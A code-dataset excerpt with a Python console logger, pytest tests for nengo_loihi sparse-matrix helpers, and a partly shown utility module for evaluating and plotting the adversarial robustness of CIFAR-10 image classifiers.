{"api_name": "DerivedIndicator_Fund_2.treynor_a", "line_number": 145, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 149, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 149, "usage_type": "attribute"}]} +{"seq_id": "72293556444", "text": "import Tools.Global_Variables as const\nimport re\n\nfrom datetime import datetime\n\nclass Formats:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKCYAN = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n END = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\nclass Logger:\n start_time = datetime.now()\n num_issues = 0\n verbose = const.VERBOSE\n\n def _format_mode(mode):\n color = None\n if mode == 'DEBUG':\n # mode = '{0: <8}'.format('[' + mode + '] ')\n color = Formats.OKCYAN\n elif mode == 'INFO':\n color = Formats.OKGREEN\n elif mode == 'WARN':\n color = Formats.WARNING\n elif mode == 'ERROR':\n color = Formats.FAIL\n elif mode == 'PROGR':\n color = Formats.OKBLUE\n mode = '{0: <8}'.format('[' + mode + '] ')\n return f'{color}' + mode + f'{Formats.END}'\n\n def _format(args, mode, delimiter=' '):\n delta_time = datetime.now() - Logger.start_time\n # output = '{0: <16}'.format(''.join('[', mode, ']') + str(delta_time)[0:10]) + ' -'\n mode = Logger._format_mode(mode)\n output = ''.join(mode + str(delta_time)[0:10]) + ' - '\n for s in args:\n if isinstance(s, str):\n output += s\n else:\n output += str(s)\n output += delimiter\n return output\n\n def _output(args, mode, erase=False, delimiter=' '):\n output = Logger._format(args, mode=mode, delimiter=delimiter) + ' '\n if erase:\n print(output, end=\"\\r\")\n else:\n print(output)\n # remove patterns starting with \\033 and ending with m\n file_output = re.sub(r'\\033\\[[0-9;]*m', '', output)\n file_output += '\\n'\n if const.SAVE_OUTPUT:\n with open(const.OUTPUT_FILE, 'a+') as log:\n log.write(str(file_output))\n\n # print(f\"{Formats.WARNING}Warning: No active frommets remain. Continue?{Formats.END}\")\n\n def info(*args, erase=False, delimiter=' '):\n # output = Logger._format(args, delimiter, mode='INFO') + ' '\n Logger._output(args, mode='INFO', erase=erase, delimiter=delimiter)\n\n def debug(*args, erase=False, delimiter=' '):\n if Logger.verbose:\n # output = Logger._format(args, mode='DEBUG', delimiter=delimiter)\n Logger._output(args, mode='DEBUG', erase=erase, delimiter=delimiter)\n\n def warn(*args, erase=False, delimiter=' '):\n Logger._output(args, mode='WARN', erase=erase, delimiter=delimiter)\n\n def error(*args, erase=False, delimiter=' '):\n Logger._output(args, mode='ERROR', erase=erase, delimiter=delimiter)\n\n def display_progress(title, interation, max, final = False):\n percent = interation/max\n progress_bar_width = 30\n filled = round(progress_bar_width*percent)\n space = progress_bar_width - filled\n output = title + '█'*filled + ' '*space + str(round(percent*100)) + '% '\n # output = Logger._format(''.join(output), delimiter='', mode='PROGR')\n if final:\n Logger._output(output, mode='PROGR', delimiter='')\n else:\n Logger._output(output, mode='PROGR', erase=True, delimiter='')", "repo_name": "joelpsteadman/jami", "sub_path": "midi-reader/Tools/Logger.py", "file_name": "Logger.py", "file_ext": "py", "file_size_in_byte": 3374, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "Tools.Global_Variables.VERBOSE", "line_number": 20, "usage_type": "attribute"}, {"api_name": "Tools.Global_Variables", "line_number": 20, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 58, "usage_type": "call"}, {"api_name": "Tools.Global_Variables.SAVE_OUTPUT", "line_number": 60, "usage_type": "attribute"}, {"api_name": "Tools.Global_Variables", "line_number": 60, "usage_type": "name"}, {"api_name": "Tools.Global_Variables.OUTPUT_FILE", "line_number": 61, "usage_type": "attribute"}, {"api_name": "Tools.Global_Variables", "line_number": 61, "usage_type": "name"}]} +{"seq_id": "13293705233", "text": "import numpy as np\nimport pytest\nimport scipy.sparse\n\nfrom nengo_loihi.builder.sparse_matrix import (\n expand_matrix,\n scale_matrix,\n stack_matrices,\n)\n\nmatrix_types = [np.ndarray, scipy.sparse.spmatrix]\n\n\ndef toarray(x):\n return x.toarray() if isinstance(x, scipy.sparse.spmatrix) else x\n\n\ndef make_matrix(matrix_type, shape):\n n = max(shape)\n assert n >= 3\n dense = np.zeros((n, n))\n i = np.arange(n)\n dense[i[::-1], i] = -np.arange(1, n + 1)\n dense[i, i] = np.arange(1, n + 1)\n dense = dense[: shape[0], : shape[1]]\n\n indices = dense.nonzero()\n data = dense[indices]\n\n if matrix_type == scipy.sparse.spmatrix:\n matrix = scipy.sparse.csr_matrix((data, indices), shape=shape)\n else:\n matrix = dense\n\n return dense, matrix\n\n\n@pytest.mark.parametrize(\"matrix_type\", matrix_types)\ndef test_expand_matrix(matrix_type, monkeypatch):\n # 0-d input\n y = expand_matrix(np.array(2.0), (3, 3))\n assert isinstance(y, scipy.sparse.spmatrix)\n assert np.allclose(toarray(y), np.eye(3) * 2)\n\n # 1-d input\n y = expand_matrix(np.arange(3), (3, 3))\n assert isinstance(y, scipy.sparse.spmatrix)\n assert np.allclose(toarray(y), np.diag(np.arange(3)))\n\n # 2-d input\n shape = (3, 4)\n dense_x, sparse_x = make_matrix(matrix_type, shape)\n y = expand_matrix(sparse_x, shape)\n assert isinstance(y, matrix_type)\n assert np.allclose(toarray(y), dense_x)\n\n\n@pytest.mark.parametrize(\"matrix_type\", matrix_types)\ndef test_scale_matrix(matrix_type):\n shape = (5, 4)\n dense_x, sparse_x = make_matrix(matrix_type, shape)\n\n # scalar scale\n scale = 2.5\n y = scale_matrix(sparse_x, scale)\n assert isinstance(y, matrix_type)\n assert np.allclose(toarray(y), scale * dense_x)\n\n # vector scale\n scale = np.arange(4)\n y = scale_matrix(sparse_x, scale)\n assert isinstance(y, matrix_type)\n assert np.allclose(toarray(y), dense_x * scale)\n\n\n@pytest.mark.parametrize(\"matrix_type\", matrix_types)\ndef test_stack_matrices(matrix_type):\n # horizontal\n xd1, xs1 = make_matrix(matrix_type, (5, 4))\n xd2, xs2 = make_matrix(matrix_type, (5, 3))\n y = stack_matrices([xs1, xs2], order=\"h\")\n assert isinstance(y, matrix_type)\n assert np.allclose(toarray(y), np.hstack([xd1, xd2]))\n\n # vertical\n xd1, xs1 = make_matrix(matrix_type, (5, 4))\n xd2, xs2 = make_matrix(matrix_type, (3, 4))\n y = stack_matrices([xs1, xs2], order=\"v\")\n assert isinstance(y, matrix_type)\n assert np.allclose(toarray(y), np.vstack([xd1, xd2]))\n", "repo_name": "nengo/nengo-loihi", "sub_path": "nengo_loihi/builder/tests/test_sparse_matrix.py", "file_name": "test_sparse_matrix.py", "file_ext": "py", "file_size_in_byte": 2537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.ndarray", "line_number": 11, "usage_type": "attribute"}, {"api_name": "scipy.sparse.sparse", "line_number": 11, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 11, "usage_type": "name"}, {"api_name": "scipy.sparse.sparse", "line_number": 15, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 30, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 30, "usage_type": "name"}, {"api_name": "scipy.sparse.sparse.csr_matrix", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 31, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 31, "usage_type": "name"}, {"api_name": "nengo_loihi.builder.sparse_matrix.expand_matrix", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 42, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.allclose", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 43, "usage_type": "call"}, {"api_name": "nengo_loihi.builder.sparse_matrix.expand_matrix", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 46, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 47, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.allclose", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 48, "usage_type": "call"}, {"api_name": "nengo_loihi.builder.sparse_matrix.expand_matrix", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 55, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 38, "usage_type": "attribute"}, {"api_name": "nengo_loihi.builder.sparse_matrix.scale_matrix", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 70, "usage_type": "call"}, {"api_name": "nengo_loihi.builder.sparse_matrix.scale_matrix", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 73, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 58, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 58, "usage_type": "attribute"}, {"api_name": "nengo_loihi.builder.sparse_matrix.stack_matrices", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 83, "usage_type": "call"}, {"api_name": "nengo_loihi.builder.sparse_matrix.stack_matrices", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 90, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 76, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 76, "usage_type": "attribute"}]} +{"seq_id": "783741815", "text": "import os\r\nimport time\r\nimport torch\r\nimport random\r\nimport shutil\r\nimport numpy as np\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.backends.cudnn as cudnn\r\nimport sys\r\nfrom advertorch.utils import NormalizeByChannelMeanStd\r\nimport json\r\nfrom torchvision import transforms\r\nfrom advertorch.attacks import LinfPGDAttack, L2PGDAttack,GradientSignAttack\r\nimport math\r\nfrom torch.autograd import Variable\r\nimport torch.optim as optim\r\nfrom autoattack import AutoAttack\r\nfrom advertorch.utils import NormalizeByChannelMeanStd\r\nimport random\r\nimport shutil\r\nimport matplotlib.pyplot as plt\r\nfrom model.PreResNet import ResNet18\r\n####### import attack\r\nimport sys\r\nsys.path.append(\"./QueryAttacks/SimBA_original/simple-blackbox-attack/\")\r\nfrom simba import SimBA\r\nsys.path.append(\"QueryAttacks/signhunter_original/\")\r\nfrom run_attack import attack_mode\r\nsys.path.append(\"./QueryAttacks/square_attack/\")\r\nfrom attack import square_attack_linf, square_attack_l2\r\nsys.path.append(\"./QueryAttacks/blackbox-bandits/src/\")\r\nfrom main_bandits import bandit_attack\r\n\r\ntorch.set_default_tensor_type('torch.cuda.FloatTensor')\r\n\r\n\r\ndef save_checkpoint(state, save_path, filename='checkpoint.pth.tar'):\r\n filepath = os.path.join(save_path, filename)\r\n torch.save(state, filepath)\r\n\r\n\r\n# print training configuration\r\ndef print_args(args):\r\n print('*' * 50)\r\n print('Dataset: {}'.format(args.dataset))\r\n print('Model: {}'.format(args.arch))\r\n if args.arch == 'wideresnet':\r\n print('Depth {}'.format(args.depth_factor))\r\n print('Width {}'.format(args.width_factor))\r\n print('*' * 50)\r\n print('Attack Norm {}'.format(args.norm))\r\n print('Test Epsilon {}'.format(args.test_eps))\r\n print('Test Steps {}'.format(args.test_step))\r\n print('Train Steps Size {}'.format(args.test_gamma))\r\n print('Test Randinit {}'.format(args.test_randinit))\r\n if args.eval:\r\n print('Evaluation')\r\n print('Loading weight {}'.format(args.pretrained))\r\n else:\r\n print('Training')\r\n print('Train Epsilon {}'.format(args.train_eps))\r\n print('Train Steps {}'.format(args.train_step))\r\n print('Train Steps Size {}'.format(args.train_gamma))\r\n print('Train Randinit {}'.format(args.train_randinit))\r\n print('SWA={0}, start point={1}, swa_c={2}'.format(args.swa, args.swa_start, args.swa_c_epochs))\r\n print('LWF={0}, coef_ce={1}, coef_kd1={2}, coef_kd2={3}, start={4}, end={5}'.format(\r\n args.lwf, args.coef_ce, args.coef_kd1, args.coef_kd2, args.lwf_start, args.lwf_end\r\n ))\r\n\r\n\r\nclass AverageMeter(object):\r\n \"\"\"Computes and stores the average and current value\"\"\"\r\n\r\n def __init__(self):\r\n self.reset()\r\n\r\n def reset(self):\r\n self.val = 0\r\n self.avg = 0\r\n self.sum = 0\r\n self.count = 0\r\n\r\n def update(self, val, n=1):\r\n self.val = val\r\n self.sum += val * n\r\n self.count += n\r\n self.avg = self.sum / self.count\r\n\r\n\r\ndef accuracy(output, target, topk=(1,)):\r\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\r\n maxk = max(topk)\r\n batch_size = target.size(0)\r\n\r\n _, pred = output.topk(maxk, 1, True, True)\r\n pred = pred.t()\r\n correct = pred.eq(target.view(1, -1).expand_as(pred))\r\n\r\n res = []\r\n for k in topk:\r\n correct_k = correct[:k].view(-1).float().sum(0)\r\n res.append(correct_k.mul_(100.0 / batch_size))\r\n return res\r\n\r\n\r\ndef setup_seed(seed):\r\n torch.manual_seed(seed)\r\n torch.cuda.manual_seed_all(seed)\r\n np.random.seed(seed)\r\n random.seed(seed)\r\n torch.backends.cudnn.deterministic = True\r\n\r\ndef load_cifar10_model(pretrained):\r\n model = ResNet18(num_classes=10)\r\n model.normalize = NormalizeByChannelMeanStd(\r\n mean=[0.4914, 0.4822, 0.4465], std=[0.2470, 0.2435, 0.2616])\r\n print('evaluation from ' + pretrained)\r\n checkpoint = torch.load(pretrained)\r\n model.load_state_dict(checkpoint['state_dict'], strict=True)\r\n return model\r\n\r\ndef get_output(val_loader, model, model_name):\r\n model.eval()\r\n pred = []\r\n for i, (input, target) in enumerate(val_loader):\r\n ### prediction ###\r\n input = input.cuda()\r\n output = model(input)\r\n prediction = output.squeeze().detach().cpu().numpy()\r\n for j in range(input.size(0)):\r\n pred.append(prediction[j])\r\n print(i)\r\n pred = np.array(pred)\r\n\r\n #### saving output\r\n np.save('./model_output/' + model_name + '.npy', pred)\r\n return pred\r\n\r\ndef cal_logit_diff(clean_path, model_path):\r\n clean_logits = np.load(clean_path)\r\n model_logits = np.load(model_path)\r\n print(clean_logits.shape, model_logits.shape)\r\n diff = []\r\n avg = 0\r\n sum = 0\r\n for i in range(0, clean_logits.shape[0]):\r\n a = np.linalg.norm((model_logits[i]-clean_logits[i]).flatten(), ord=2)\r\n sum = sum + a\r\n avg = sum/(i+1)\r\n diff.append(a)\r\n print(i, avg)\r\n return avg\r\n\r\ndef cal_flops(model):\r\n total_num = sum(p.numel() for p in model.parameters())\r\n print('Total', total_num)\r\n from ptflops import get_model_complexity_info\r\n macs, params = get_model_complexity_info(model, (3, 32, 32), as_strings=True,\r\n print_per_layer_stat=True)\r\n print('{:<30} {:<8}'.format('Computational complexity: ', macs))\r\n print('{:<30} {:<8}'.format('Number of parameters: ', params))\r\n return\r\n\r\ndef get_input_gradient(val_loader, model, model_name):\r\n model.eval()\r\n pred = []\r\n criterion = nn.CrossEntropyLoss()\r\n for i, (input, target) in enumerate(val_loader):\r\n ### prediction ###\r\n input = input.cuda()\r\n input.requires_grad = True\r\n target = target.cuda()\r\n output = model(input)\r\n loss = criterion(output, target)\r\n grad = torch.autograd.grad(loss, input, create_graph=True, retain_graph=False)[0]\r\n # print(grad)\r\n for j in range(input.size(0)):\r\n pred.append(grad.data[j].cpu().detach().numpy())\r\n print(i)\r\n pred = np.array(pred)\r\n print(pred.shape)\r\n #### saving output\r\n np.save('./model_output/' + model_name + '-grad.npy', pred)\r\n return pred\r\n\r\n\r\n########## visualization\r\ndef image_filp(image_path):\r\n import cv2\r\n img = cv2.imread(image_path)\r\n # cv2.imshow(\"yuan\", img)\r\n img1 = cv2.flip(img, 0) # 镜像\r\n cv2.imwrite(image_path,img1)\r\n return\r\n\r\ndef plot_hyper_param(x, clean, diff, robust, name):\r\n plt.style.use('seaborn')\r\n plt.clf()\r\n x = np.array(x)\r\n clean = np.array(clean)\r\n diff = np.array(diff)\r\n robust = np.array(robust)\r\n fontsize = 20\r\n linewidth = 3\r\n fig = plt.figure()\r\n ax1 = fig.add_subplot(111)\r\n\r\n ax1.set_ylim(0, 100)\r\n ax1.plot(x, clean, linestyle='-', marker='.', label='CleanAcc',color='#82B0D2',linewidth=linewidth)\r\n ax1.plot(x, robust, linestyle='-', marker='.', label='AdvAcc',color='#FFBE7A',linewidth=linewidth)\r\n # ax1.set_xlabel(name, fontsize=fontsize)\r\n if name=='lr':\r\n ax1.set_xscale('log', base=10)\r\n elif name=='batch':\r\n ax1.set_xscale('log', base=2)\r\n ax1.set_ylabel('Acc', fontsize=fontsize)\r\n plt.tick_params(labelsize=fontsize)\r\n\r\n ax2 = ax1.twinx()\r\n ax2.set_ylim(0, 2)\r\n ax2.plot(x, diff, linestyle='-', marker='.', label='LogitDiff',color='#8ECFC9',linewidth=linewidth)\r\n ax2.set_ylabel('LogitDiff', fontsize=fontsize)\r\n plt.tick_params(labelsize=fontsize)\r\n plt.grid()\r\n\r\n fig.legend(loc=1, bbox_to_anchor=(1, 0.35), bbox_transform=ax1.transAxes, fontsize=fontsize)\r\n plt.savefig('fig/' + name + '.eps', dpi=600, format='eps', bbox_inches='tight')\r\n plt.savefig('fig/' + name + '.png', dpi=600, format='png', bbox_inches='tight')\r\n return\r\n\r\n\r\ndef plot_output_diff():\r\n import matplotlib.pyplot as plt\r\n plt.style.use('seaborn')\r\n plt.clf()\r\n beta = 0.5\r\n labels = ['LogitDiff', 'Robustness']\r\n robust = [0.46, 67.34, 51.22, 77.80]\r\n logit_diff = [0, 6.994, 1.529, 1.087]\r\n clean = [94.26, 87.35, 91.14, 94.26]\r\n x = np.array([0.5, 1, 1.5, 2])*beta\r\n x_label = ['Vanilla', 'AT', 'RI', 'UniG']\r\n\r\n ### robustness\r\n bottom = 2\r\n robust = [i+bottom for i in robust]\r\n fontsize = 20\r\n fig = plt.figure()\r\n ax1 = fig.add_subplot(111)\r\n ax1.set_ylim(-bottom, 100)\r\n ax1.set_xlim(0.2*beta, 2.3*beta)\r\n width = 0.15*beta\r\n le1 = ax1.bar(x-width, np.array(robust), width=width, bottom=-bottom, align='edge', label=labels[1], color='#FFBE7A')\r\n ax1.set_xticks(x, labels=x_label, fontsize=fontsize)\r\n ax1.set_ylabel(\"Robustness\", fontsize=fontsize)\r\n plt.tick_params(labelsize=20)\r\n\r\n ### logit-diff\r\n bottom = 0.2\r\n logit_diff = [i + bottom for i in logit_diff]\r\n ax2 = ax1.twinx()\r\n ax2.set_ylim(-bottom, 10)\r\n le2 = ax2.bar(x, np.array(logit_diff), width=width, bottom=-bottom, align='edge', label=labels[0], color='#8ECFC9')\r\n # ax2.legend()\r\n ax2.set_ylabel(\"LogitDiff\", fontsize=fontsize)\r\n # plt.legend()\r\n fig.legend(loc=1, bbox_to_anchor=(1,1.03), bbox_transform=ax1.transAxes, fontsize=fontsize)\r\n plt.grid()\r\n plt.tick_params(labelsize=20)\r\n ### legend\r\n # le = le1+le2\r\n # labs = [l.get_label() for l in le]\r\n # ax1.legend(le, labs, loc=0)\r\n plt.savefig('fig/logit-robust.eps', dpi=600, format='eps', bbox_inches='tight')\r\n plt.savefig('fig/logit-robust.png', dpi=600, bbox_inches='tight')\r\n return\r\n\r\ndef plot_margin_loss():\r\n van = np.load('square_loss_record/vanilla.npy')\r\n print(van.shape)\r\n gsmodel = np.load('square_loss_record/GS.npy')\r\n gsmodel = gsmodel[0:van.shape[0]]\r\n atmodel = np.load('square_loss_record/AT.npy')\r\n atmodel = atmodel[0:van.shape[0]]\r\n rndmodel = np.load('square_loss_record/RND.npy')\r\n rndmodel = rndmodel[0:van.shape[0]]\r\n x = range(van.shape[0])\r\n plt.clf()\r\n plt.style.use('seaborn')\r\n plt.plot(x, van, label='Vanilla', color='#0e72cc')\r\n plt.plot(x, rndmodel, label='RND', color='#f59311')\r\n plt.plot(x, atmodel, label='AT', color='#85c021')\r\n plt.plot(x, gsmodel, label='UniG', color='#fa4343')\r\n plt.xlabel('Query', fontsize=15)\r\n plt.ylabel('Margin loss', fontsize=15)\r\n plt.tick_params(labelsize=15)\r\n plt.legend(fontsize=15, loc='right', bbox_to_anchor=(1, 0.615)) # lower left\r\n plt.savefig('fig/square.eps', dpi=600, format='eps')#, bbox_inches='tight')\r\n plt.savefig('fig/square.png', dpi=600)#, bbox_inches='tight')\r\n return\r\n\r\ndef plot_feature(feature, name, args):\r\n # shape = feature.shape\r\n # batch = shape[0]\r\n # channel = shape[1]\r\n num = [22, 26, 33]\r\n os.makedirs('fig/forward_and_backward/' + name + '/', exist_ok=True)\r\n for i in num:\r\n # os.makedirs('feature/' + str(i) + '/', exist_ok=True)\r\n data = feature[i]\r\n data = data.reshape(32,64)\r\n data = (data-data.min())/(data.max()-data.min())\r\n # data = data * 255\r\n save = data\r\n cmap = 'Spectral'\r\n plt.imsave('fig/forward_and_backward/' + name + '/' + str(i) + '.eps', save, format='eps', dpi=600, cmap=plt.get_cmap(cmap))\r\n plt.imsave('fig/forward_and_backward/' + name + '/' + str(i) + '.png', save, cmap=plt.get_cmap(cmap))\r\n # for j in range(channel):\r\n # save = data[j].detach().cpu().numpy()\r\n # plt.imsave('feature/' + str(i) + '/' + str(j) + '.png', save)\r\n return\r\n\r\n\r\ndef plot_input(x, name):\r\n x = torch.from_numpy(x)\r\n shape = x.shape\r\n batch = shape[0]\r\n toPIL = transforms.ToPILImage() # 这个函数可以将张量转为PIL图片，由小数转为0-255之间的像素值\r\n # color_aug = transforms.ColorJitter(brightness=1, contrast=0.5, saturation=0.2, hue=0.1)\r\n transform = transforms.Compose([\r\n toPIL,\r\n # color_aug,\r\n ])\r\n ### cifar10\r\n # num =[7, 24, 26, 34, 37, 46, 53, 57, 63, 66, 68, 70, 74, 81, 86, 87, 91, 97, 101, 116, 125, 127, 129, 134, 139, 145, 148, 153, 160, 169, 180, 183, 187, 192, 197, 201, 204, 206, 213, 221, 237, 247, 255, 263, 264, 266, 269, 273, 276, 279, 284, 287, 302, 307, 308, 309, 313, 314, 323, 332, 342, 343, 345, 351, 352, 366, 368, 369, 375, 376, 388, 397, 398, 405, 411, 424, 426, 430, 437, 439, 446, 449, 454, 456, 459, 463, 464, 470, 473, 477, 478, 483, 485, 488, 491, 497]\r\n # num = np.load('noise_vis/num.npy')\r\n ### imagenet\r\n # num = [13, 17, 19, 22, 26, 33, 39, 41, 46, 48, 52, 63, 64, 65, 85, 87, 91, 93, 95, 98, 109, 111, 117, 130, 132, 136, 140, 162, 163, 166, 169, 172, 174, 182, 187, 204, 213, 221, 226, 252, 254, 258, 267, 274, 278, 293, 296, 301, 305, 307, 308, 316, 318, 322, 324, 329, 341, 344, 379, 383, 385, 393, 399, 402, 410, 415, 416, 425, 431, 432, 438, 445, 450, 451, 454, 463, 466, 471, 474, 475, 476, 483, 494, 496]\r\n num = [22, 26, 33]\r\n # for i in range(batch):\r\n for i in num:\r\n os.makedirs('fig/forward_and_backward/' + name + '/', exist_ok=True)\r\n # pic = toPIL(x[i].detach().cpu().view(16,32))\r\n # pic = toPIL(x[i])\r\n pic = transform(x[i])\r\n # if torch.norm(x[i].detach().cpu()) == 0:\r\n # continue\r\n # pic.save('input_vis/' + args.model_type + '-' + str(i) + '.png', quality = 95)\r\n # num.append(i)\r\n # print(i)\r\n pic.save('fig/forward_and_backward/' + name + '/' + str(i) + '.png', quality=95)\r\n # num = np.array(num)\r\n print(num)\r\n # np.save('noise_vis/'+name+'/num.npy', num)\r\n return\r\n\r\n\r\ndef plot_adv_noise(x, name, args):\r\n import cv2\r\n ### imagenet\r\n os.makedirs('noise_vis/' + args.dataset + '/' + name + '/', exist_ok=True)\r\n num = [22, 26, 33]\r\n for i in num:\r\n a = np.transpose(x[i], [1,2,0])\r\n a = (a-a.min())/(a.max()-a.min())\r\n a = a * 255\r\n # 权重越大，透明度越低\r\n print(a.dtype)\r\n a = cv2.addWeighted(a, 0.8, np.zeros(a.shape).astype('float32'), 0, 0)\r\n print(a.min(), a.max())\r\n\r\n cv2.imwrite('noise_vis/'+ args.dataset + '/' + name+'/%d.png' % i, a)\r\n # misc.toimage(x[i], cmin=0.0, cmax=...).save('noise_vis/'+ args.dataset + '/' + name+'/' + str(i) + '.png')\r\n # plt.imsave('noise_vis/'+ args.dataset + '/' + name+'/' + str(i) + '.png', x[i])\r\n return\r\n\r\n\r\ndef visualize_feature_distribution(fea, target, model, name):\r\n # model.eval()\r\n # model.set_onlyout(False)\r\n # # model.module.set_onlyout(False)\r\n from sklearn.manifold import TSNE\r\n # for i, (input, target) in enumerate(val_loader):\r\n # input = input.cuda()\r\n # target = target.cpu().numpy()\r\n # output, fea = model(input)\r\n # fea = fea.cpu().detach().numpy()\r\n print('fea.shape= ', fea.shape)\r\n print('Computing t-SNE embedding')\r\n tsne = TSNE(n_components=2, init='pca', random_state=0)\r\n result = tsne.fit_transform(fea)\r\n print('result.shape= ', result.shape)\r\n\r\n def plot_embedding(data, label):\r\n x_min, x_max = np.min(data, 0), np.max(data, 0)\r\n data = (data - x_min) / (x_max - x_min)\r\n plt.style.use('seaborn')\r\n fig = plt.figure()\r\n ax = plt.subplot(111)\r\n plt.figure(figsize=(10, 8), dpi=600)\r\n colors = ['63b2ee', '76da91', 'f8cb7f', 'f89588', '7cd6cf', '9192ab', '7898e1', 'efa666', 'eddd86', '9987ce', '63b2ee', '76da91']\r\n for i in range(data.shape[0]):\r\n plt.text(data[i, 0], data[i, 1], str(label[i]),\r\n color='#'+colors[label[i]],\r\n fontdict={'weight': 'bold', 'size': 9})\r\n plt.xticks([])\r\n plt.yticks([])\r\n # plt.savefig('feature-distribution/'+name+'.png', dpi=600)\r\n # plt.savefig('feature-distribution/'+name+'.eps', dpi=600, format='eps')\r\n plt.savefig('fig/'+name+'.png', dpi=600)\r\n plt.savefig('fig/'+name+'.eps', dpi=600, format='eps')\r\n return fig\r\n fig = plot_embedding(result, target)\r\n # plt.show(fig)\r\n model.set_onlyout(True)\r\n # model.module.set_onlyout(True)\r\n return\r\n\r\n\r\n# testing\r\ndef test(val_loader, model, criterion, args):\r\n \"\"\"\r\n Run evaluation\r\n \"\"\"\r\n losses = AverageMeter()\r\n top1 = AverageMeter()\r\n model.eval()\r\n start = time.time()\r\n for i, (input, target) in enumerate(val_loader):\r\n input = input.cuda()\r\n target = target.cuda()\r\n\r\n output = model(input)\r\n loss = criterion(output, target)\r\n\r\n loss = loss.float()\r\n prec1 = accuracy(output.data, target)[0]\r\n\r\n losses.update(loss.item(), input.size(0))\r\n top1.update(prec1.item(), input.size(0))\r\n\r\n if i % args.print_freq == 0:\r\n end = time.time()\r\n print('Test: [{0}/{1}]\\t'\r\n 'Loss {losses.val:.4f} ({losses.avg:.4f}) \\t'\r\n 'Accuracy {top1.val:.3f} ({top1.avg:.3f})\\t'\r\n 'Time {2:.2f}'.format(\r\n i, len(val_loader), end - start, losses=losses, top1=top1))\r\n \r\n end = time.time()\r\n print('Standard Accuracy {top1.avg:.3f}'.format(top1=top1))\r\n return top1.avg\r\n\r\n\r\n#### for square attack\r\nclass Model:\r\n def __init__(self):\r\n return\r\n\r\n def predict(self, x):\r\n raise NotImplementedError('use ModelTF or ModelPT')\r\n\r\n def loss(self, y, logits, targeted=False, loss_type='margin_loss'):\r\n \"\"\" Implements the margin loss (difference between the correct and 2nd best class). \"\"\"\r\n if loss_type == 'margin_loss':\r\n preds_correct_class = (logits * y).sum(1, keepdims=True)\r\n diff = preds_correct_class - logits # difference between the correct class and all other classes\r\n diff[y] = np.inf # to exclude zeros coming from f_correct - f_correct\r\n margin = diff.min(1, keepdims=True)\r\n loss = margin * -1 if targeted else margin\r\n elif loss_type == 'cross_entropy':\r\n probs = self.softmax(logits)\r\n loss = -np.log(probs[y])\r\n loss = loss * -1 if not targeted else loss\r\n else:\r\n raise ValueError('Wrong loss.')\r\n return loss.flatten()\r\n\r\n def softmax(self, x):\r\n e_x = np.exp(x - np.max(x, axis=1, keepdims=True))\r\n return e_x / e_x.sum(axis=1, keepdims=True)\r\n\r\nclass ModelPT(Model):\r\n \"\"\"\r\n Wrapper class around PyTorch models.\r\n\r\n In order to incorporate a new model, one has to ensure that self.model is a callable object that returns logits,\r\n and that the preprocessing of the inputs is done correctly (e.g. subtracting the mean and dividing over the\r\n standard deviation).\r\n \"\"\"\r\n def __init__(self, model):\r\n super().__init__()\r\n model.eval()\r\n self.model = model\r\n\r\n def predict(self, x):\r\n x = torch.tensor(x).cuda()\r\n x = x.type(torch.cuda.FloatTensor)\r\n pred = []\r\n batch = x.shape[0]\r\n output = self.model(x)\r\n prediction = output.detach().cpu().numpy()\r\n\r\n for j in range(batch):\r\n 